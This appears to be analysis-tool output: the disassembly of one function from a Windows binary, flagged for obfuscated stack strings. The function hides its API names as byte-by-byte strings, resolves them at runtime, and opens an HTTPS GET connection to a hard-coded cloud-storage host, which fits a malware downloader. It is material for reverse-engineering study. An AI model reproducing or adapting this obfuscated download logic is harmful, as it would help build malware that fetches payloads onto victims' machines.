Function at 0x402820
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov r11, rsp
sub rsp, 0x1f8
mov qword [rsp + 0x140], 0xfffffffffffffffe
mov qword [r11 + 0x20], rbx
mov qword [r11 - 8], rbp
mov qword [r11 - 0x10], rsi
mov qword [r11 - 0x18], rdi
mov qword [r11 - 0x20], r12
mov qword [r11 - 0x28], r13
mov qword [r11 - 0x30], r14
mov qword [r11 - 0x38], r15
mov rax, qword [0x00416040]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
mov r14, r8
mov rbx, rdx
mov r13, rcx
mov qword [r11 - 0xa8], rdx
xor r15d, r15d
mov qword [r11 - 0xc8], r15
xor eax, eax
mov qword [r11 - 0xc0], rax
mov byte [rsp + 0x170], 0x43
mov byte [rsp + 0x171], 0x6e
mov byte [rsp + 0x172], 0x72
mov byte [rsp + 0x173], 0x48
mov byte [rsp + 0x174], 0x70
mov byte [rsp + 0x175], 0x7a
mov byte [rsp + 0x176], 0x75
mov byte [rsp + 0x177], 0x53
mov byte [r11 - 0x80], 0x70
mov byte [r11 - 0x7f], 0x61
mov byte [r11 - 0x7e], 0x74
mov byte [r11 - 0x7d], al
mov byte [rsp + 0x158], 0x47
mov byte [rsp + 0x159], 0x46
mov byte [rsp + 0x15a], 0x45
mov byte [rsp + 0x15b], 0x61
mov byte [rsp + 0x15c], 0x57
mov byte [rsp + 0x15d], al
lea rax, [rsp + 0x40]
mov qword [r11 - 0x50], rax
mov esi, 0xf
mov rdx, rsi
mov qword [rsp + 0x60], rsi
mov r8, r15
mov qword [rsp + 0x58], r15
mov byte [rsp + 0x48], r8b
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, [r11 - 0xa0]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
cmp rcx, 0xfffffffffffffffe
jbe 0x402961
call fcn.0040dc70
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x58]
cmp rdx, rdi
jae 0x40297a
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.004053a0
mov rdx, qword [rsp + 0x60]
jmp 0x402998
test rdi, rdi
jne 0x402998
mov qword [rsp + 0x58], r15
lea rax, [rsp + 0x48]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x48]
mov byte [rax], r15b
jmp 0x4029d6
test rdi, rdi
je 0x4029d6
lea rcx, [rsp + 0x48]
cmp rdx, 0x10
cmovae rcx, qword [rsp + 0x48]
mov r9, rdi
lea r8, [rsp + 0x158]
call fcn.004066a0
mov qword [rsp + 0x58], rdi
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rax, qword [rsp + 0x48]
mov byte [rax + rdi], r15b
mov rdx, rsi
mov qword [rsp + 0x100], rsi
mov r8, r15
mov qword [rsp + 0xf8], r15
mov byte [rsp + 0xe8], r8b
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x170]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
cmp rcx, 0xfffffffffffffffe
jbe 0x402a2c
call fcn.0040dc70
mov rdx, qword [rsp + 0x100]
mov r8, qword [rsp + 0xf8]
cmp rdx, rdi
jae 0x402a4b
mov rdx, rdi
lea rcx, [rsp + 0xe0]
call fcn.004053a0
mov rdx, qword [rsp + 0x100]
jmp 0x402a72
test rdi, rdi
jne 0x402a72
mov qword [rsp + 0xf8], r15
lea rax, [rsp + 0xe8]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0xe8]
mov byte [rax], dil
jmp 0x402ac2
test rdi, rdi
je 0x402ac2
lea rcx, [rsp + 0xe8]
cmp rdx, 0x10
cmovae rcx, qword [rsp + 0xe8]
mov r9, rdi
lea r8, [rsp + 0x170]
call fcn.004066a0
mov qword [rsp + 0xf8], rdi
lea rax, [rsp + 0xe8]
cmp qword [rsp + 0x100], 0x10
cmovae rax, qword [rsp + 0xe8]
mov byte [rax + rdi], 0
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0xe0]
mov rcx, r14
call fcn.004015a0
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rax
mov r12, rax
test rax, rax
je 0x403114
mov byte [rsp + 0x180], 0x42
mov byte [rsp + 0x181], 0x76
mov byte [rsp + 0x182], 0x77
mov byte [rsp + 0x183], 0x58
mov byte [rsp + 0x184], 0x6b
mov byte [rsp + 0x185], 0x61
mov byte [rsp + 0x186], 0x74
mov byte [rsp + 0x187], 0x48
mov byte [rsp + 0x188], 0x62
mov byte [rsp + 0x189], 0x77
mov byte [rsp + 0x18a], 0x64
mov byte [rsp + 0x18b], 0x76
mov byte [rsp + 0x18c], 0x6a
mov byte [rsp + 0x18d], 0x78
mov byte [rsp + 0x18e], 0
mov byte [rsp + 0x160], 0x46
mov byte [rsp + 0x161], 0x4e
mov byte [rsp + 0x162], 0x4a
mov byte [rsp + 0x163], 0x71
mov byte [rsp + 0x164], 0x52
mov byte [rsp + 0x165], 0x48
mov byte [rsp + 0x166], 0x45
mov byte [rsp + 0x167], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x1a8], rax
mov rdx, rsi
mov qword [rsp + 0xb0], rsi
mov r8, r15
mov qword [rsp + 0xa8], r15
mov byte [rsp + 0x98], r8b
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x160]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
cmp rcx, 0xfffffffffffffffe
jbe 0x402c12
call fcn.0040dc70
mov rdx, qword [rsp + 0xb0]
mov r8, qword [rsp + 0xa8]
cmp rdx, rdi
jae 0x402c31
mov rdx, rdi
lea rcx, [rsp + 0x90]
call fcn.004053a0
mov rdx, qword [rsp + 0xb0]
jmp 0x402c58
test rdi, rdi
jne 0x402c58
mov qword [rsp + 0xa8], r15
lea rax, [rsp + 0x98]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x98]
mov byte [rax], dil
jmp 0x402ca8
test rdi, rdi
je 0x402ca8
lea rcx, [rsp + 0x98]
cmp rdx, 0x10
cmovae rcx, qword [rsp + 0x98]
mov r9, rdi
lea r8, [rsp + 0x160]
call fcn.004066a0
mov qword [rsp + 0xa8], rdi
lea rax, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0x10
cmovae rax, qword [rsp + 0x98]
mov byte [rax + rdi], 0
mov rdx, rsi
mov qword [rsp + 0x128], rsi
mov r8, r15
mov qword [rsp + 0x120], r15
mov byte [rsp + 0x110], r8b
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x180]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
cmp rcx, 0xfffffffffffffffe
jbe 0x402cfe
call fcn.0040dc70
mov rdx, qword [rsp + 0x128]
mov r8, qword [rsp + 0x120]
cmp rdx, rdi
jae 0x402d1d
mov rdx, rdi
lea rcx, [rsp + 0x108]
call fcn.004053a0
mov rdx, qword [rsp + 0x128]
jmp 0x402d44
test rdi, rdi
jne 0x402d44
mov qword [rsp + 0x120], r15
lea rax, [rsp + 0x110]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x110]
mov byte [rax], dil
jmp 0x402d94
test rdi, rdi
je 0x402d94
lea rcx, [rsp + 0x110]
cmp rdx, 0x10
cmovae rcx, qword [rsp + 0x110]
mov r9, rdi
lea r8, [rsp + 0x180]
call fcn.004066a0
mov qword [rsp + 0x120], rdi
lea rax, [rsp + 0x110]
cmp qword [rsp + 0x128], 0x10
cmovae rax, qword [rsp + 0x110]
mov byte [rdi + rax], 0
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0x108]
mov rcx, r14
call fcn.004015a0
xor r9d, r9d
mov r8w, 0x1bb
lea rdx, str.nxsassixsaixiai.oss_cn_beijing.aliyuncs.com
mov rcx, r12
call rax
mov rbp, rax
test rax, rax
je 0x403114
mov word [rsp + 0x1a8], 0x47
mov word [rsp + 0x1aa], 0x45
mov word [rsp + 0x1ac], 0x54
mov word [rsp + 0x1ae], 0
mov byte [rsp + 0x190], 0x49
mov byte [rsp + 0x191], 0x6e
mov byte [rsp + 0x192], 0x7a
mov byte [rsp + 0x193], 0x52
mov byte [rsp + 0x194], 0x6b
mov byte [rsp + 0x195], 0x78
mov byte [rsp + 0x196], 0x6a
mov byte [rsp + 0x197], 0x41
mov byte [rsp + 0x198], 0x75
mov byte [rsp + 0x199], 0x71
mov byte [rsp + 0x19a], 0x78
mov byte [rsp + 0x19b], 0x49
mov byte [rsp + 0x19c], 0x69
mov byte [rsp + 0x19d], 0x6b
mov byte [rsp + 0x19e], 0x67
mov byte [rsp + 0x19f], 0x6a
mov byte [rsp + 0x1a0], 0x65
mov byte [rsp + 0x1a1], 0x64
mov byte [rsp + 0x1a2], 0
mov byte [rsp + 0x168], 0x6d
mov byte [rsp + 0x169], 0x66
mov byte [rsp + 0x16a], 0x4d
mov byte [rsp + 0x16b], 0x4b
mov byte [rsp + 0x16c], 0x52
mov byte [rsp + 0x16d], 0x65
mov byte [rsp + 0x16e], 0x75
mov byte [rsp + 0x16f], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x148], rax
mov rdx, rsi
mov qword [rsp + 0x88], rsi
mov r8, r15
mov qword [rsp + 0x80], r15
mov byte [rsp + 0x70], r8b
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x168]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
cmp rcx, 0xfffffffffffffffe
jbe 0x402f2c
call fcn.0040dc70
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x80]
cmp rdx, rdi
jae 0x402f48
mov rdx, rdi
lea rcx, [rsp + 0x68]
call fcn.004053a0
mov rdx, qword [rsp + 0x88]
jmp 0x402f69
test rdi, rdi
jne 0x402f69
mov qword [rsp + 0x80], r15
lea rax, [rsp + 0x70]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x70]
mov byte [rax], dil
jmp 0x402fad
test rdi, rdi
je 0x402fad
lea rcx, [rsp + 0x70]
cmp rdx, 0x10
cmovae rcx, qword [rsp + 0x70]
mov r9, rdi
lea r8, [rsp + 0x168]
call fcn.004066a0
mov qword [rsp + 0x80], rdi
lea rax, [rsp + 0x70]
cmp qword [rsp + 0x88], 0x10
cmovae rax, qword [rsp + 0x70]
mov byte [rdi + rax], 0
mov qword [rsp + 0xd8], rsi
mov r8, r15
mov qword [rsp + 0xd0], r15
mov byte [rsp + 0xc0], r8b
xor eax, eax
mov rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x190]
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
cmp rcx, 0xfffffffffffffffe
jbe 0x403000
call fcn.0040dc70
mov rsi, qword [rsp + 0xd8]
mov r8, qword [rsp + 0xd0]
cmp rsi, rdi
jae 0x40301f
mov rdx, rdi
lea rcx, [rsp + 0xb8]
call fcn.004053a0
mov rsi, qword [rsp + 0xd8]
jmp 0x403046
test rdi, rdi
jne 0x403046
mov qword [rsp + 0xd0], r15
lea rax, [rsp + 0xc0]
cmp rsi, 0x10
cmovae rax, qword [rsp + 0xc0]
mov byte [rax], dil
jmp 0x403099
test rdi, rdi
je 0x403099
lea rcx, [rsp + 0xc0]
cmp rsi, 0x10
cmovae rcx, qword [rsp + 0xc0]
mov r9, rdi
lea r8, [rsp + 0x190]
mov rdx, rsi
call fcn.004066a0
mov qword [rsp + 0xd0], rdi
lea rax, [rsp + 0xc0]
cmp qword [rsp + 0xd8], 0x10
cmovae rax, qword [rsp + 0xc0]
mov byte [rax + rdi], 0
cmp qword [rbx + 0x20], 8
jb 0x4030a6
mov rdi, qword [rbx + 8]
jmp 0x4030aa
lea rdi, [rbx + 8]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0xb8]
mov rcx, r14
call fcn.004015a0
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8, rdi
lea rdx, [rsp + 0x1a8]
mov rcx, rbp
call rax
mov rdi, rax
test rax, rax
je 0x403114
lea r8, [rsp + 0x130]
mov rdx, rax
mov rcx, r14
call fcn.00401bf0
test eax, eax
je 0x403114
mov r9, rdi
mov r8, rbp
mov rdx, r12
mov rcx, r14
call fcn.00402540
lea rcx, [rsp + 0x130]
mov rax, qword [rcx]
mov qword [r13], rax
mov rax, qword [rcx + 8]
mov qword [r13 + 8], rax
cmp qword [rbx + 0x20], 8
jb 0x40313b
mov rcx, qword [rbx + 8]
call fcn.004065f0
mov qword [rbx + 0x20], 7
mov qword [rbx + 0x18], r15
mov word [rbx + 8], 0
mov rax, r13
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.004063a0
mov rbx, qword [rsp + 0x218]
mov rbp, qword [rsp + 0x1f0]
mov rsi, qword [rsp + 0x1e8]
mov rdi, qword [rsp + 0x1e0]
mov r12, qword [rsp + 0x1d8]
mov r13, qword [rsp + 0x1d0]
mov r14, qword [rsp + 0x1c8]
mov r15, qword [rsp + 0x1c0]
add rsp, 0x1f8
ret